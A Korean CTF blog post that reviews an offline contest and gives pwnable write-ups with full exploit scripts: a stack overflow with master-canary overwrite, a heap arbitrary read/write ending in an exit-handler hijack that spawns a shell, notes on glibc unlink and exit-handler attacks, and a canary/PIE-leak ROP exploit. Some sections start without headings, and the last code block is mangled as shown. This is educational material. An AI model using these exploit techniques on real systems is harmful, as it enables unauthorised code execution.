내가 팀장이라 뭔가 잘 이끌었어야 했던 거 같은데 너무 정신이 없어서 그러지 못한 것 같아서 조금 아쉽다. 그래도 지금 와서 생각해보면 행동 원칙을 미리 세워서 그런지 우왕좌왕 하지 않고 자연스럽게 각자 자기 할일이 잘 분배된 상태로 진행이 된 것 같다. 그때는 그냥 눈앞에 보이는 걸 한거였지만 각자가 한 일이 가장 효율적인 방법이었다고 생각한다.

jeopardy

First day

jeopardy는 첫날의 경우 문제가 크게 스마트 선박과 스마트 제조라는 카테고리로 나뉘어 출제가 되었다.

이게 포너블, 웹, 리버싱, 포렌식 등의 분야가 태깅되어있지 않고, 단순히 스마트선박, 스마트제조로만 구분이 되어있었다. 그래도 주어진 서버의 접속 형태나, 파일 등을 가지고 쉽게 유추할 수 있었다. 그리고 문제가 선박에서 세 문제, 제조에서 열문제 이상(정확히 기억 안남)이라서 생각보다 문제가 많았다. 문제 풀 시간이 7시간밖에 없고(심지어 그 안에 점심도 먹어야 함), 그 와중에 live fire도 해야 하며 팀원이 최대 4명이라는 점을 고려하면 문제가 좀 많아서 아예 건드려보지 못한 문제도 많이 나온 것 같다. 여담이지만 5시 땡 하자마자 얄짤 없이 모든 사이트를 닫아서 문제 다운로드는 커녕 스코어보드도 볼 수가 없었다.. 그래서 정확한 문제 정보나 개수같은 것은 잘 모르겠다.

일단 난 포너블 문제 2개를 풀었다.

둘 다 솔버가 많은 편이었고 11솔 정도였다. (제일 많은건 웹인듯 미스크인듯 한 문제였음. 2n솔 정도 였고 내가 안 풀어서 정확한 건 모르겠음)

그렇게 어려운 난이도는 아니었다. 라업은 가장 밑에 적어놓았다.

첫날은 어쨋든 총 3문제를 풀고, 어느 시점엔가 3개의 취약점을 패치한 상태로 마무리했다.

첫날 종료 후에 몇 등이었는지는 못 봤다. 아마 1n등이었던 것 같다.

Second day

두 번째 날에는 첫 날과 아예 다른 문제들이 나왔다. 이 날도 정확하게 기억은 안 나는데 첫날이랑 카테고리는 똑같았고, 각 카테고리 당 세 문제씩 해서 총 6문제 정도가 있었다. 주어진 시간은 점심시간 포함 4시간이었다.

그 중에 포너블 문제는 하나밖에 없었는데, 난이도가 높은 편이었던 거 같다. 나는 끝나기 30분 전까지 계속 그 문제만 잡았는데 마지막에 보니까 끝까지 0솔이었다. 어쩌면 포기하고 다른 걸 보는 게 더 나았을 수도 있었겠다 싶다.

일단 문제 바이너리가 c++이었는데 나는 c++ 을 잘 못해서 좀 힘들었다. 항상 해야지 해야지 하고 안했는데.. 이제 진짜로 공부해야겠다.

바이너리를 실행하면 바이너리가 소켓으로 입력을 받고, 그 입력에 따라 여러 기능을 처리하는 형태였다. ADMIN 기능을 실행해 systeminfo 기능을 실행하면 메모리 매핑 정보를 출력해주기 때문에 바이너리 매핑주소나 힙 주소, libc 주소등을 얻을 수 있는 것 까지는 파악을 했는데 익스를 어떻게 해야할지는 알아낼 수 없었다. 아무래도 c++이라 입력 처리할 때 다 동적할당으로 처리를 해서 일반적인 메모리커럽션은 절대 아닐거같고.. 힙을 이용해서 풀어야 할 것 같았다. 근데 첫 날 문제 중 힙문제랑 똑같이 얘도 디버깅할 때 libc 심볼이 안잡혀서 힙 플러그인을 못 썼다. c++에 힙 관련인데 플러그인도 못쓰면.. 아마 시간이 많았어도 풀기 어렵지 않았을까 싶다. 전혀 다른 취약점일수도 있겠지만..

어쨌든 c++을 공부하자, 우분투 버전을 업그레이드하자 라는 교훈을 얻었다

끝나기 30분전쯤에 보니까 내가 잡은 포너블은 0솔이고 apk가 주어지는 어플리케이션 문제가 조금 솔버가 있어서 팀원들이랑 다같이 그 문제에 붙었다. 그런데 아무래도 시간이 부족해서 결국 풀진 못했다.

결론적으로는 두 번째 날에는 나는 한 문제도 못 풀었다. 그래도 팀원이 문제 3개 정도를 추가적으로 풀어서 최종 11등으로 마무리를 했다.

오프라인 대회 참가는 처음이었기 떄문에 만족스러운 결과이다. 그리고, 오프라인 대회를 경험해보았다는 점이 가장 의미 있었다. 한동안 CTF에 좀 소홀했었는데 이번 기회로 또 CTF도 다시 열심히 해야겠다는 생각이 들었다.

앞으로도 공부를 더더 열심히 해야겠다!!

WRITEUP

1. 스마트제조-산업장비업데이트시스템

일단 이 문제는 간단하게 bof로 해결할 수 있는 문제였다.

하지만 직접 페이로드를 잘 구성해주어야 bof가 터지고, canary가 걸려있어 이를 우회해야 한다.

바이너리를 실행하면 아래와 같이 여러 옵션이 존재하는데 일단 bof는 1번인 업로드에서 터지고 다른 함수는 아예 보지도 않아서 다른 취약점이 있는지는 잘 모르겠다.

      puts("== Firmware Updater Menu ==");
    puts("1. Upload Firmware");
    puts("2. Show Metadata");
    puts("3. Apply Firmware");
    puts("4. Clear Firmware");
    puts("5. Exit");
    printf("> ");

업로드 함수 내부의 핵심 부분은 아래와 같다.

  memset(buf, 0, 0x1020uLL);
  printf("[+] Enter data: ");
  read(0, buf, 0x10uLL);
  v1 = *(_WORD *)&buf[14];
  v2 = *(_WORD *)&buf[12];
  if ( *(__int16 *)&buf[14] <= 0x1020 )
  {
    if ( *(_DWORD *)buf == 0x4743 )
    {
      read(0, &buf[16], 0x20uLL);
      v3 = v1 - v2 - 32;
      if ( v3 <= 0xFF0 )
      {
        read(0, &buf[v2 + 32], (unsigned __int16)v3);
        s = fopen("firmware.bin", "wb");
        fwrite(buf, 1uLL, 0x1020uLL, s);
        fclose(s);
        printf("[+] Firmware uploaded: %s (version: %d)\n", &buf[16], *(unsigned int *)&buf[4]);
      }
      else
      {

세번의 if문을 거쳐 read에 도달하면 세 번째 인자인 size가 v3인데, 이 값은 v1 - v2 - 32로 우리의 입력에 따라 결정될 수 있는 값이다. 하지만 직전에 v3 <= 0xFF0 라는 조건문으로 v3을 검증하고 있는데, v3는 signed인 2바이트 정수형이므로 음수로 만들면 이 조건문을 우회하면서 큰 값을 read하게 할 수 있다.

따라서 세 번째 if를 모두 통과하면서 v3이 음수가 되도록 페이로드를 잘 짜면, buf에다가 bof를 할 수가 있게 된다.

또한 canary의 경우에는 이 바이너리가 thread를 이용하고 메뉴출력 및 각 기능 실행 루틴이 새로운 스레드를 형성해 실행되고 있다는 점을 고려하면 master canary를 덮어 우회할 수 있다. 심지어 앞서 살펴본 bof에서 상당히 큰 값을 쓸 수 있었기 때문에 아마 이것이 의도된 익스 방식일 것이다.

나같은 경우에는 첫 번째 upload수행 시 printf_plt를 이용해서 (pie는 안걸려있음.. 감사합니다..) libc 주소를 leak하고 다시 upload함수로 리턴하는 rop 페이로드와 함께 한번에 마스터카나리까지 b”A”*8으로 덮어버렸다.

그리고 다시 upload함수가 실행되면서 동일하게 bof가 터지는데, libc_base를 구한 상태이므로 그냥 libc 가젯과 system주소, binsh주소를 직접 넣어서 rop체인을 구성해 system(”/bin/sh”)를 실행시켰다.

ex.py

from pwn import *

BINARY = "./prob"

HOST = "127.0.0.1"
HOST = "43.203.216.173"
PORT = 1337

context.log_level = 'debug'

#p = process(BINARY)
p = remote(HOST, PORT)

def upload_firmware(data, data2, payload):

    p.sendlineafter(b"> ", b"1") # '1. Upload Firmware' 선택
    p.sendafter(b"[+] Enter data: ", data)
    p.send(data2)
    p.send(payload)

got = 0x404F48
pause()

rop = p64(0x401250) #printf_plt
rop += p64(0x40187A) #return to upload
payload =  b"A"*8*2
payload +=rop
payload += p64(0)*((0x858-0x20)//8-2 - len(rop)//8 )+p64(0x405000+0x200)*5+b"A"*8

upload_firmware(p32( 0x4743 ) + b"\x00" * 8 + p16(0x1008 ) + p16( 0x1020 ), b"A"*0x20, payload)

#0x5f730

p.recvuntil(b" 0)\n")
libc_base = u64(p.recv(6)+b"\x00\x00") - 0x5f730
log.info(hex(libc_base))

#payload가 쓰이는 곳은 buf+0x1028 (rbp-0x8) 에다가 0xff??만큼 쓸 수 있다. 
#fs_base+0x28은 upload함수의 rbp+0x858

system =  0x58750
binsh = 0x1cb42f
poprdi = 0x10f75b
ret = poprdi + 1

payload2 =  b"A"*8*2
payload2 += p64(libc_base + poprdi) + p64(libc_base + binsh) +  p64(libc_base+ret) + p64(libc_base+system)
p.sendafter(b"[+] Enter data: ", p32( 0x4743 ) + b"\x00" * 8 + p16(0x1008 ) + p16( 0x1020 ))
p.send(b"A"*0x20)
p.send(payload2)

p.interactive()
#busanit2025{14d7554080339cec2c9a8e0d3c0d5e9f7bf90422655d24b3e57e4e4a19ea1bb965ebbb5f84457df34b1cab0c2f862f03a094839bbe7ab7e5bd52375bfd26e1f1875f15}

2. 스마트선박-선박 CCTV 시스템

이 문제는 libc 심볼이 안 잡혀서 너무 힘들게 풀었다…. 힙관련 툴도 하나도 못 쓰고 initial 주소도 노가다로 구해서 너무너무 힘들었다 진짜ㅠ

libc base구하고 aaw를 터뜨리는거 까지는 얼마 안걸렸는데 오프셋 구하느라 aaw하고도 한 시간인가 뒤에나 문제를 풀었다. 좀 시간을 너무 허비해서 아쉬웠다.

일단 이 문제는 실행하면 아래와 같은 세 가지의 옵션이 있다.

== NVR Control Utility ==
1. Sign Up
2. Login
3. Exit

signup에서 계정을 생성할 수 있고, login으로 login을 하면 된다.

일단 signup을 하면 id와 pw를 입력받고 이를 fprintf(stream, "%s:%s:%d\n", id, pwd, 0LL); 의 형태로 accounts.db라는 파일에 쓴다.

그리고 login에서는 내가 id와 pw를 입력하면 accounts.db를 읽어들여서 그 중에서 내가 입력한 id와 pw와 일치하는 정보가 있을 경우에만 id_dest, dword_50A0라는 전역변수에 각각 id와 uid같은 느낌의 v1을 저장하고 sub_1F24()라는 로그인 이후의 기능을 수행하는 함수를 실행한다.

v3 = __isoc99_sscanf(v9, "%31[^:]:%31[^:]:%d[^\n]", s1, v8, &v1);
      if ( v3 == 3 && !strcmp(s1, id) && !strcmp(v8, pwd) )
      {
        strncpy(id_dest, id, 0x1FuLL);
        dword_50A0 = v1;
        v2 = 1;
        break;
      }
    }
    fclose(stream);
    if ( v2 )
      sub_1F24();

sub_1F24()에서는 아래와 같은 기능들이 존재한다.

1. Add Stream Entry
2. Show Config
3. Delete Entry
4. Edit Entry
5. Logout

그런데 그냥 계정을 생성하고 기능을 수행하려 하면 admin이 아니라면서 기능을 못 쓰게한다. admin인지 판단하는 여부는 아까 uid를 입력했던 dword_50A0라는 전역변수가 0인지를 확인한다. 0이 아니어야 기능을 이용할 수 있는데 이전에 signup에서 uid값은 무조건 0으로 하드코딩되어있다.

fprintf(stream, "%s:%s:%d\n", id, pwd, 0LL);

이는 pw를 애초에 "hi:1” 로 signup하고, login 시에는 pw에 hi만 입력하는 형태로 우회할 수 있다.

이제 admin이 되어 모든 기능을 이용할 수 있다.

일단 add는 아래와 같이 구성되어있다.

unsigned __int64 add()
{
  int idx; // [rsp+4h] [rbp-1Ch]
  char *malloc_ptr; // [rsp+8h] [rbp-18h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)sub_1445() )
  {
    printf("[*] Index: ");
    fgets(s, 8, stdin);
    idx = atoi(s);
    if ( idx >= 0 && idx <= total_idx )
    {
      malloc_ptr = (char *)malloc(0x60uLL);
      if ( !malloc_ptr )
        exit(1);
      printf("[*] Stream name: ");
      fgets(malloc_ptr, 32, stdin);
      malloc_ptr[strcspn(malloc_ptr, "\n")] = 0;
      printf("[*] RTSP URL: ");
      fgets(malloc_ptr + 32, 64, stdin);
      ptr_list[idx] = malloc_ptr;
      ++total_idx;
      puts("[+] Entry added.");
    }
    else
    {
      puts("[-] Invalid index.");
    }
  }
  return v4 - __readfsqword(0x28u);
}

entry를 추가하면 0x60바이트의 동적할당을 하는데 그 반환된 힙 주소는 ptr_list라는 총 8개의 엔트리가 있는 QWORD 배열 전역변수에 직접 입력한 idx값으로 인덱싱해 저장한다. 그리고 할당 시마다 전역변수인 total_idx를 증가시킨다.

전역변수 구조를 살펴보면 아래와 같다.

ptr_list는 malloc의 반환값을 저장하는 배열이고, id_dest는 로그인할때 로그인한 id를 복사했던 전역변수, dword_50a0은 uid이며 그 다음으로 total_idx가 있는 구조이다.

그리고 이런 문제에서 흔히 보이는 기능들로, 각각 인덱스를 입력받아 해당 인덱스에 해당하는 힙 주소를 ptr_list에서 가져와 출력, edit, free하는 기능들이 존재한다.

그리고 uaf를 방지하기 위해서 free 시에는 해당 ptr_list 엔트리를 널로 초기화하는 루틴이 있다. 또한, 처음으로 edit하고나면 무조건 fgets로 입력을 받고 개행은 널로 바꾸기 때문에 해제한 청크를 재할당하고 그 값을 출력해 특정 값을 릭하는 것도 어렵다.

하지만 이 문제의 취약점은 total_idx를 관리하는 방식이 실제 ptr_list에 저장되는 값들을 잘 반영하지 못한다는 것에 있다. 일단 계속에서 인덱스 0에 add를 하게 되면 total_idx는 무한대로 증가할 수 있게 된다. (total_idx가 8을 넘어가는 지 등의 검증이 없다)

이후 show_config, edit이나 delete에서 idx를 입력받고 유효한지 검증하는 방식은 아래와 같다.

if ( idx >= 0 && idx < total_idx && ptr_list[idx] )

즉 idx가 0 이상이고 total_idx보다 작으며 ptr_list[idx] 가 널만 아니면 된다는 것이다. 그러면 계속 idx 0에 add를 해서 total_idx가 1000이 되게 하면 998, 999 인덱스 값에 대해서도 edit 등이 가능할 수도 있다. 그런데 ptr_list는 bss영역이므로 더 뒤로 가도 그닥 쓸모있는 부분이 있지는 않다.

하지만 바로 다음이 id_dest라는 것은 조금 이용할만하다.

def add_stream(index: int, name: bytes, rtsp_url: bytes):
    p.recvuntil(b'> ')
    p.sendline(b'1')  # Add Stream Entry

    p.recvuntil(b'[*] Index: ')
    p.sendline(str(index).encode())

    p.recvuntil(b'[*] Stream name: ')
    p.sendline(name)

    p.recvuntil(b'[*] RTSP URL: ')
    p.sendline(rtsp_url)

    p.recvuntil(b'[+] Entry added.')

for i in range(9):
    add_stream(i, b"", b"")

위와 같이 0부터 8까지의 인덱스에 대해 총 9번을 add하면 9번째 add시에는 동적할당 된 주소가 id_dest에 쓰여진다.

그리고 id_dest는 print_menu를 할때마다 항상 Wecome이라는 문구와 함께 출력되기 때문에 이 다음 턴에는 그 자리에 힙 주소가 출력된다. 즉 heap 주소를 leak할 수 있는 것이다.

그리고 id_dest를 이용할 수 있는 방법은 한 가지 더 있다.

애초에 맨 처음 가입을 할때 id를 내가 원하는 주소값으로 지정하면 로그인 시에 id_dest에 그 주소값이 들어가게 된다. 그리고 ptr_list[8]의 주소(==id_dest)가 덮여지지 않게 잘 조절하면서 add를 9번하면 total_idx가 9가 된 상태이기 때문에 id_dest에 쓰여진 주소값을 참조해 값을 출력하거나 edit하는 것이 가능해진다.

즉 로그인의 id값을 통해 aar과 aaw이 모두 가능한 것이다.

나는 이를 이용해 디버깅을 통해 힙에 libc관련 값이 쓰여진 것을 발견하고 이것을 aar로 릭하여 libc 주소를 구한 다음(힙 주소는 이미 구했으니까 가능), 추가적으로 두 번의 aaw를 수행하여 exit handler overwrite으로 익스를 했다.

최종 익스코드는 아래와 같다.

from pwn import * 

p = remote("54.180.254.97",31883)

context.log_level = 'debug'

register_and_login(b"hi", b"hi:1", b"hi")

#1. heap_base leak==================
for i in range(9):
    add_stream(i, b"", b"")

p.recvuntil(b"Welcome, ")
heap_base = u64(p.recv(6)+b"\x00\x00") >> 12
heap_addr = heap_base << 12
log.info(hex(heap_base))

for i in range(8):
    delete_entry(7-i)

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

#2. libc_base ====================
#id가 특정 주소가 되게 계정을 생성
register_and_login(p64(heap_addr+0x490), b"hi:1", b"hi")

for i in range(2):
    add_stream(0, b"", b"")
for i in range(7):
    add_stream(i+1, b"", b"")


show_config(8)
p.recvuntil(b"Name: ")
libc_base = u64(p.recv(6)+b"\x00\x00")-0x202228
log.info(hex(libc_base))

for i in range(7):
    delete_entry(6-i)

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

#3. fs_base+0x30 aaw ====================
register_and_login(p64(libc_base -0x2890), b"hi:1", b"hi")

for i in range(2):
    add_stream(0, b"", b"")
for i in range(7):
    add_stream(i+1, b"", b"")

system_offset = 0x58740
edit_entry(8, p64(0) ,p64(0))

for i in range(7):
    delete_entry(6-i)

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

#4. initial aaw =======================
initial_offset =  0x204fc0

register_and_login(p64(libc_base +initial_offset+0x10), b"hi:1", b"hi")
for i in range(2):
    add_stream(0, b"", b"")
for i in range(7):
    add_stream(i+1, b"", b"")

def rol(val, r_bits, width=64):
    return ((val << r_bits) | (val >> (width - r_bits))) & (2**width - 1)

system = rol(libc_base+system_offset, 0x11, 64)
binsh = 0x1cb42f

edit_entry(8, p64(4)+p64(system)+p64(libc_base+binsh),p64(0))
for i in range(7):
    delete_entry(6-i)

pause()

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

p.recvuntil(b'> ')
p.sendline(b'3')  # exit

p.interactive()
#busanit2025{adb3f281db4ed78212216d3f400037770bd2960c9b3f2e32b19b3333e0767609fa8ae075198eab1045b1ec3dbc93a87d8968c19a86549d1fd43daa826ee25f}

doubly linked list에서 청크를 연결 해제하는 과정인 unlink를 이용한 공격기법

⇒원하는 공간에 값을 쓰거나 leak할 수 있게 해주는 공격 기법이다.

<사용조건>

1. 힙 영역을 전역변수에서 관리 (힙 영역을 전역 변수같이 주소를 알고 있는 위치에 unlink 될 청크의 주소가 저장되어있어야 함)
2. 2개의 Allocated Chunk가 필요하며 한 개는 Fake Chunk를 생성할 수 있어야 함
3. 첫 번째 Chunk를 통해 두 번째 Chunk의 헤더를 조작할 수 있어야 함 (8바이트+null)

<익스 시나리오>

1. 두 개의 연속된 청크가 존재하며, 그 중 앞의 청크 주소를 저장하고 있는 전역변수가 존재하는 상황이다. 예를 들면, 0x420을 두 번 할당하고, 맨 앞 청크의 주소를 전역변수인 chunk_ptr에 저장한다고 치자
2. 두 청크는 모두 해제 시에 fastbin이나 tcache에 들어가선 안된다. (크기가 그 이상으로 크던가, tcache를 가득 채우던가)
3. 앞의 청크의 헤더를 제외한 앞부분에 fake chunk의 헤더를 구성해준다.
   1. 청크의 헤더를 제외한 시작 주소 +0x8에 size값을 넣는다. 원래의 sie값보다 0x10보다 작게 설정한다. 예를 들면 원래 청크의 size값이 0x431이었을 것이므로 0x421을 넣는다.
   2. 청크의 헤더를 제외한 시작주소 +0x10에 fd를 설정해주는데, &chunk_ptr-0x18을 넣는다.
   3. 청크의 헤더를 제이한시작주소 +0x18에 bk를 설정해주는데 &chunk_ptr-0x10을 넣는다.
4. 두 번째 chunk의 헤더를 조작한다.
   1. prev_size가 직전에 구성한 fake chunk의 size가 되도록한다. 여기서는 0x420이면된다.
   2. 추가로 널을 써줘서 prev_in_use 비트가 0, 즉 직전 청크가 free 청크라고 인식되게 한다.
5. 두 번째 chunk를 해제한다.
   1. 그러면 두 번째 청크를 해제하는 과정에서 직전 청크(fake chunk)가 free된 chunk라고 인식하고 둘을 병합하려한다. 병합 중 존재하는 unlink 루틴에 의해 chunk_ptr이 원래의 첫 번째 청크가 아니라 &chunk_ptr-0x18을 가리키게 된다.
   2. 즉, chunk_ptr = &chunk_ptr-0x18
6. chunk_ptr을 통해 해당 주소에접근하여 chunk_ptr+0x18에 우리가 값을 쓰고 싶은 주소의 값을 넣는다.
7. 그리고 chunk_ptr, 즉 우리가 값을 쓰고싶은 주소에 쓰고싶은 값을 쓴다.

<원리>

우선 가장 기본 상태일때 힙 구조와 전역변수의 상황은 위와 같다.

그리고 fake chunk를 구성하고, 두 번째 청크의 메타데이터를 조작해준 모습이다.

위와 같이 구성해주는 이유는 다음과 같다.

1. 우선, 두 번째 청크의 마지막 비트를 0으로 바꾸어주어야 직전 인접 청크, 즉 fake chunk를 free된 청크로 인식할 것이며 그래야 두 번째 청크 free 시에 직전 청크와의 병합이 이루어지면서 해당 공격기법의 목적을 달성할 수 있다.

       prevsize = prev_size (p);
       size += prevsize;
       p = chunk_at_offset(p, -((long) prevsize));
+      if (__glibc_unlikely (chunksize(p) != prevsize))
+        malloc_printerr ("corrupted size vs. prev_size while consolidating");

2. 위의 보호기법은 free와 병합 루틴에 새롭게 추가된 보호기법인데, 따라서 두 번째 청크의 prevsize와 fake chunk의 size값을 통일시켜주어야할 필요가 있다.
3. fake chunk의 fd와 bk를 각각 &chunk_ptr-0x18, &chunk_ptr-0x10로 설정해주어야 (P->fd->bk != P || P->bk->fd != P) 이라는 보호기법을 우회할 수 있게 된다. 1) 해당 보호기법은 unlink 루틴 내에 존재하는데, 각 조건을 따라가보면 다음과 같다. 2) 우선 p→fd는 &chunk_ptr-0x18이고, 이것의 bk는 +0x18의 위치에 존재하므로 결국 원래 chunk_ptr의 위치에 써진 값을 의미하고, 이는 청크의 시작주소이므로 곧 p와 동일하다. 3) p→bk는 &chunk_ptr-0x10이고, 이것의 fd는 +0x10위치에 존재하므로 결국 원래 chunk_ptr의 위치에 써진 값을 의미하고, 이는 청크의 시작주소이므로 곧 p와 동일하다.
   
   

이제 두 번째 청크를 free하면 fake 청크와의 병합이 일어나고, 그 과정에서 fake chunk를 대상으로 unlink가 일어나게 된다.

unlink에는 아래와 같은 루틴이 존재한다.

static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;

(위 코드에서 보이는 모든 보호기법은 이미 우회한 상태)

여기서 우리가 주목해야할 것은 마지막 두 줄이다.

일단 fd, bk는 각각 &chunk_ptr-0x18, &chunk_ptr-0x10를 의미한다.

먼저 fd->bk = bk;를 수행한다고 생각해보자.

fd→bk는 &chunk_ptr인데, 여기에 bk, 즉 &chunk_ptr-0x10를 대입한다.

따라서 chunk_ptr위치에 &chunk_ptr-0x10라는 값이 들어간 상태이다.

다음으로는 bk->fd = fd;를 수행할 차례이다.

bk→fd는 &chunk_ptr이고, 여기에 fd, 즉 &chunk_ptr-0x18를 대입한다.

따라서 최종적으로는 chunk_ptr이라는 전역변수의 위치에 &chunk_ptr-0x18주소값이 쓰이게 된다.

보통 익스 상황에서는 해당 전역변수를 대상으로 읽기, 쓰기 등이 가능한 상태일 것이므로 이제 &chunk_ptr-0x18으로의 접근이 가능하고, 이를 이용해 &chunk_ptr에 우리가 접근하고 싶은 주소 값을 쓰고, 또 이를 바탕으로 우리가 접근하고 싶은 주소에 원하는 값을 쓰면 된다. 그러면 aaw or aar이 가능하다.

| 프록시 → 클라이언트 측

| 스텁 → 서버측

클라이언트 프로세스가 transact() 메서드를 호출하면 서버 프로세는 onTransact() 메서드를 통해 호출을 받는다.

transact는 (transaction_id, input, ouput)과 같은 형태이며 onTransact는 transaction_id에 따른 switch문으로 구성되는 것이 보통이다.

service manager

service manager = Android의 System Service를 관리하는 중요한 프로세스, 각 서비스마다 핸들을 부여하고 서비스의 추가 및 검색 기능을 수행함.

서비스는 실행 시 addService()함수를 통해 Service Manager에 서비스 핸들을 등록하며, application들은 Service Manager로부터 System Service에 대한 정보를 획득할 수 있다.

Binder

서로 다른 프로세스들을 연결 (링커의 다른 프로세스 간 버전이라고 생각하면 됨)

원래 IPC도구이지만, 다른 프로세스의 함수를 현재 프로세스에 존재하는 함수처럼 사용할 수 있게 해주는 RPC에 가장 많이 쓰인다.

binder는 프로세스간에 커널 공간은 공유가 가능하다는 점을 이용하여 커널공간에서 동작하는 binder driver라는 추상화된 드라이버를 이용한다. 이를 이용하면 프로세스간 통신이 가능해진다.

이는 /dev/binder에 위치하며 binder를 사용하고자 하는 프로세스는 이 디바이스를 open하면 된다. 여러 스레드가 동일한 fd를 공유해도 된다.

system service - daemon과의 관계 예시

installd의 isQuotaSupported를 예로 들자면, 아래 api는 서비스 클라이언트 단에서 수행되는 코드이며 아래 코드가 수행되면 서비스 서버인 Installd에서 요청을 받는다. 그리고 클라이언트는 Installd 데몬의 응답을 대기하다가 응답이 오면 이를 obtain2에서 받는다. 인자와 응답이 오고가는 obtain과 obtain2는 parcel이라는 자료형을 가지는데, 이는 안드로이드의 IPC에서 값을 주고받기 위한 일종의 박스라고 보면 된다.

클라이언트에서 rpc형태로 데몬의 메소드를 호출하는 형태인 듯. 그 과정에서 바인더가 작용한다. (요청 전달을 바인더가 하는 형태)

기본 구조를 살펴보면 canary값을xxd로 바이너리를 열었을 때 기준으로 0x3020 오프셋 부터 총 10개의 카나리 값이 저장되어 있고, 이 중 하나를 카나리값으로 가져와 사용한다.

따라서 subprocess모듈로 직접 카나리 후보 10개와 그 중 사용되는 카나리의 인덱스를 가져오는 코드를 짜주었다.

p.recvuntil(b"This is Your Binary>")
p.recvline()
bin = p.recvuntil(b"input>")[:-7]
os.system("rm bin1")
os.system("touch bin1")
f = open("bin1", "wb")
f.write(base64.b64decode(bin))
f.close()
canary =[]

for i in range(5):
    cmd = f"xxd bin1 | grep 30{i+2}0"
    out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()

    out1 = out.split(":")[1][1:20]
    out2 = out.split(":")[1][21:40]

    out1.replace(" ", "")
    out2.replace(" ", "")
    canary.append(int.from_bytes( bytes.fromhex(out1)[::-1], byteorder='big'))
    canary.append(int.from_bytes( bytes.fromhex(out2)[::-1], byteorder='big'))

cmd = "xxd bin1 | grep 3070"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
idx = int(out.split(":")[1][2:3])

이제 카나리값을 구했으니 bof취약점을 이용하면 된다.

그런데 pie가 걸려있어 pie_base를 구해줘야 한다. 일단 첫 싸이클의 ret에는 파이 관련 값이 적혀있고, 이 주소는 메인 함수와 마지막 한 바이트만 다르므로 마지막 한 바이트만 overwrite해 main을 다시 실행시켜줌과 동시에 출력 값을 기반으로 pie base까지 구해주었다. (아예 main시작으로 돌리면 stack alignment 때문에오류나서 mov rbp, rsp 부분으로 jmp시켜준다)

이를 실행하는 코드는 아래와 같다.

p.send(b"A"*(0x208)+p64(canary[idx])+b"A"*8+b"\x29")

p.recvuntil(b"A"*0x208+p64(canary[idx])+b"A"*8)
pie_base = u64(p.recv(6)+b"\x00\x00")-0x1329
log.info(hex(pie_base))

일단 main을 한 번 더 실행시킨 상태이므로 한 번 더 bof를 할 수 있다.

바이너리 내부를 잘 살펴보면 open-read-write함수가 주어졌으나 open의 대상은 rdi이고 마음대로 컨트롤이 불가능한 상태이다.

따라서 가젯을 이용해 rdi에 “flag”를 넣어주면 된다

다음과 같은 절차로 가젯을 사용해주었다.

1. pop rbp로 flag를 직접 rbp에 넣기

2. 0x12ac 오프셋에 존재하는 함수=> rbp를 push ⇒mov  rbp, rsp ⇒ mov rdi, rsp => pop  r8. 즉, flag가 위치하는 “주소”를 rdi에 넣을 수가 있다.

3. 이후 바로 orw함수 호출해주면 flag를 orw할 수 있음.

페이로드는 아래와 같다.

p.send(b"flag" + b"b"*(0x208-4)+p64(canary[idx])+b"A"*8+p64(pie_base+poprbp) + b"flag\x00\x00\x00\x00" + p64(pie_base+setting) + p64(pie_base+0x124e))

이렇게 익스해주면 아래와 같이 출력 중간에 flag가 출력된 것을 확인할 수 있다.

key: Th1s_1s_b34ut1fu1_c4n4ry

flag: HTO{6074a1bf8d8541fe896962859000ea89}

<익스코드>

```python from pwn import * import base64 import os import subprocess

p = remote("hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com", 5001) ret = 0x000000000000101a movr = 0x00000000000012b4 poprbp = 0x00000000000011d3 #pop rbp ; ret setting = 0x00000000000012b0

p.recvuntil(b"This is Your Binary>") p.recvline() bin = p.recvuntil(b"input>")[:-7] os.system("rm bin1") os.system("touch bin1") f = open("bin1", "wb") f.write(base64.b64decode(bin)) f.close() canary =[]

for i in range(5): cmd = f"xxd bin1 | grep 30{i+2}0" out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()

out1 = out.split(":")[1][1:20]
out2 = out.split(":")[1][21:40]

out1.replace(" ", "")
out2.replace(" ", "")
canary.append(int.from_bytes( bytes.fromhex(out1)[::-1], byteorder='big'))
canary.append(int.from_bytes( bytes.fromhex(out2)[::-1], byteorder='big'))

cmd = "xxd bin1 | grep 3070" out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode() idx = int(out.split(":")[1][2:3])

p.send(b"A"(0x208)+p64(canary[idx])+b"A"8+b"\x29") p.recvuntil(b"A"0x208+p64(canary[idx])+b"A"8) pie_base = u64(p.recv(6)+b"\x00\x00")-0x1329 log.info(hex(pie_base))

p.send(b"flag" + b"b"(0x208-4)+p64(canary[idx])+b"A"8+p64(pie_base+poprbp) + b"flag\x00\x00\x00\x00" + p64(pie_base+setting) + p64(pie_base+0x124e))

p.interactive()```

1. fs_base+0x30의 위치에 p64(0) 덮기 (덮을 수 없다면 값을 leak해도 됨)
2. initial+0x10에 p64(4), initial+0x18에 호출하고 싶은 함수를 0x11만큼 rol한 값 , initial+0x20에 인자 주소 덮기
3. exit함수 실행

<원리>

exit함수 내부의 __run_exit_handler는 특정 루틴 상 initial+0x18 포인터 값을 가져와 demangling과정(0x11만큼 ror하고 fs+0x30의 값과 xor함)을 거친 후 initial+0x20을 인자로 하여 실행됨.

<__run_exit_handler> 어셈블리 코드 내부>

1. rcx (=initial+0x10)이 4라면 +208의 위치로 jmp

2. 마지막에 rdi에 r13을 넣고 rax실행

rax는 무엇인가?(함수포인터) ⇒ initial+0x18위치의 값을 가져온다음 0x11만큼 ror하고 fs+0x30의 값과 xor한 값에 해당.

r13은 무엇인가?(인자)⇒ +215를참고하면 initial+0x20에 해당

<익스 시나리오>

